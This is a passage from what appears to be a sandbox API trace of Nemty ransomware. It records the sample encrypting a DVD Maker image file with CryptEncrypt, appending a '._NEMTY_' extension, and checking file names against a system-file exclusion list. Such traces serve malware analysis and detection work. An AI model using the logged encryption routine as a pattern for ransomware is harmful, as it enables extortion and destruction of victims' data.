lpMultiByteStr="Postage_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 31 [0078.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0078.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0078.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 31 [0078.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0078.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0078.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 31 [0078.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0078.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 31 [0078.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0078.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0078.388] Sleep (dwMilliseconds=0x5) [0078.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe2610370, dwHighDateTime=0x1d561e7)) [0078.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe2610370, dwHighDateTime=0x1d561e7)) [0078.403] GetLastError () returned 0x5 [0078.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.403] GetLastError () returned 0x5 [0078.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.404] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0078.404] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0078.404] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0078.404] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="zYtHr2bp+IYaptliMudzO43EVKSUbyaSLtq/VCQY2bwcszka9T6qUJaatHlAYAf+\r\njxrJVm+iaatCd9gaXA3ZthJISstKsz/cYqglhcgPHSNW/t1Tuq/9eocoDKBCTYJ+\r\npibRecpF+25xE9Ydh0hQSPf/Rw10gmYrNZ8bYw2VI5YR1uSK65cxadH3UqTLCQaB\r\nx0pczGXzcu5DJQuB8QDUi3jkoWi3opx8/7bNsY/kQLCyFnbM/hlr7hG0KzfrbZnt\r\nXjh7aM5QCv+Pbo3JIoFZoTTWamcyuewawZO6KoREoKU3ZJsmrv4PtviBvGY3BMn/\r\ndKlWMQyuRS2QhBgq+kP6Gw==\r\n", pcchString=0x653ec5c) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0078.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.404] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.404] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0078.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.510] CloseHandle (hObject=0xffffffff) returned 0 [0078.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0078.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0078.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0078.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0078.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.510] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0078.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.511] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="..") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="...") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="windows") returned -1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="$RECYCLE.BIN") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="rsa") returned -1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="NTDETECT.COM") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="ntldr") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="MSDOS.SYS") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="IO.SYS") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="boot.ini") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="boot.ini") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="AUTOEXEC.BAT") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="ntuser.dat") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="desktop.ini") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="CONFIG.SYS") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="RECYCLER") returned -1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="BOOTSECT.BAK") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="bootmgr") returned 1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="programdata") returned -1 [0078.511] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="appdata") returned 1 [0078.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0078.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_VideoInset.png", lpUsedDefaultChar=0x0) returned 22 [0078.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0078.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_VideoInset.png", lpUsedDefaultChar=0x0) returned 22 [0078.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0078.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_VideoInset.png", lpUsedDefaultChar=0x0) returned 22 [0078.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.512] 